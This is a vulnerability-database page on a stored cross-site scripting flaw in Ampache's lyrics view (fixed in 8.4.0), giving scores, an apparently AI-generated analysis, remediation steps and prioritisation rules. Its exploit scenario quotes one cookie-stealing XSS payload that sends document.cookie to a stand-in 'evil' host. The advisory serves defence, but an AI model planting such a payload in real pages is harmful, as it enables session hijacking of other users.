Skip to main content

Ampache CVE-2026-125395

| EUVDEUVD-2026-120558 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-11-10 disclosure@vulncheck.com GHSA-8q4f-r7f6-8g49
5.1
CVSS 4.0 · Vendor: vulncheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as user with upload rights
  2. Exploit
    Upload song with malicious ID3 lyrics tag
  3. Execution
    Victim opens song lyrics page
  4. Impact
    Stored script executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated Ampache account that holds upload rights (PR:L) to publish a song whose ID3 lyrics frame (USLT/LYRICS) or lyrics-provider text contains HTML/JavaScript. Exploitation also requires a second user to passively view that song's lyrics page (UI:P), where LyricsView.php getLyrics() and show_lyrics.inc.php render the lyrics text unescaped. Limiting factors: affects only Ampache versions before 8.4.0; the attacker must already be a trusted uploader, so instances with a single operator or fully-trusted uploaders face little practical exposure, while shared/multi-user instances where an admin may view attacker-supplied lyrics are the realistic risk case.

Impact

This is a stored XSS (CWE-79) in Ampache's lyrics rendering, and the signals converge on moderate, not urgent, risk. The CVSS 4.0 base score is 5.1 (medium). The vector requires PR:L, meaning an authenticated account - specifically one with upload rights per the description - so this is not an unauthenticated internet-facing flaw; it is an authorized-user-against-other-users abuse. UI:P (passive user interaction) means a victim simply has to view the lyrics of the attacker's uploaded song for the payload to fire, which lowers the interaction barrier but still requires that view to happen. No EPSS score, no CISA KEV entry, and no PoC/exploit reference are present in the input, so there is no public exploit identified at time of analysis and no evidence of active exploitation. The vuln.today decision label is 'this_month', consistent with a real-but-non-emergency patching cadence rather than act_now. The one point worth flagging is a mild tension between impact scope and privilege model: the flaw is only reachable by users already trusted to upload content, so in single-user or fully-trusted-uploader deployments the practical risk is low, while in multi-tenant/shared Ampache instances with semi-trusted uploaders the stored-XSS-against-admins angle is the real concern. No key data is contradictory; the main gap is the absence of EPSS/KEV/PoC signals, which is itself consistent with a low-urgency, non-weaponized finding.

Exploit ScenarioDerived

On a shared Ampache instance (before 8.4.0), a user holding upload rights uploads a song whose ID3 lyrics (USLT/LYRICS) frame contains markup such as '<img src=x onerror=fetch("//evil/"+document.cookie)>'. Because getLyrics() in LyricsView.php and show_lyrics.inc.php emit the lyrics as raw HTML, the script executes in the browser of any other user - potentially an admin - who opens that song's lyrics view, enabling session/cookie theft or actions in their context. No public exploit code is identified, but the fix commit's test case demonstrates the exact hostile payload.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 10, 2026

Stored cross-site scripting in Ampache's song lyrics view lets an authenticated user with upload rights embed HTML and JavaScript in a song's ID3 lyrics frame (USLT/LYRICS) or provider-supplied lyrics, which then runs in the browser of any user who opens that song's lyrics page. All Ampache versions before 8.4.0 that render lyrics are affected, and exploitation requires the victim to view the lyrics page; no public exploit code was identified at time of analysis. The vendor fixed the issue in 8.4.0 by escaping lyrics text before rendering.

RemediationAI

Upgrade to Ampache 8.4.0 or later; the release is at https://github.com/ampache/ampache/releases/tag/8.4.0 and the fix commit is 94ab8461c6b28140d438ffce915ef645af73ef18. The patch escapes lyrics text in LyricsView.php getLyrics(), preserves line breaks with nl2br, and updates the lyrics provider plugins to stop pre-formatting text. If an immediate upgrade is not possible, restrict upload rights to trusted users, since exploitation requires an account that can publish a song with a hostile lyrics frame; this reduces exposure but does not remove stored payloads already in the library, and those payloads are rendered escaped after the upgrade. The vendor advisory is https://www.vulncheck.com/advisories/ampache-before-8.4.0-stored-xss-via-song-lyrics-id3-tag.

Affected VersionsENISA

ampache 0 <8.4.0

Affected Packages

euvd ampache fix: 8.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Ampache is a PHP-based self-hosted music streaming server. LyricsView.php getLyrics() previously returned lyrics text directly, with the template printing it via raw() because third-party lyrics providers were assumed to return markup; show_lyrics.inc.php rendered that value. Lyrics text can come from a song's ID3 USLT/LYRICS frame or from provider plugins such as AmpacheLrcLib, AmpacheLyristLyrics, and Ampachechartlyrics. The fix treats all lyrics as untrusted, escapes it with the view's e() helper, converts newlines with nl2br, and normalizes previously stored literal <br> tags; provider plugins now store plain text instead of pre-applying nl2br. CWE-79 applies because attacker-controlled lyrics were stored and later rendered without output encoding, allowing script execution in the viewer's browser. The supplied CVSS 4.0 vector is AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N, and the assessed CVSS 3.1 vector is AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vulncheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Stored XSS reachable only by an upload-privileged user (PR:L) and executing when a victim views the lyrics (UI:R); payload crosses into the victim's browser context (S:C) with limited C/I impact and no availability effect.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Nov 10, 2026 - 01:16 EUVD

DescriptionCVE.org

Ampache before 8.4.0 contains a stored cross-site scripting vulnerability that allows users with upload rights to inject script through unescaped song lyrics in LyricsView.php getLyrics() and show_lyrics.inc.php. Attackers can upload a song whose lyrics ID3 tag contains HTML and script to execute code in the browser of any user viewing the lyrics.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Low
Niche self-hosted open-source music streamer; minimal enterprise footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy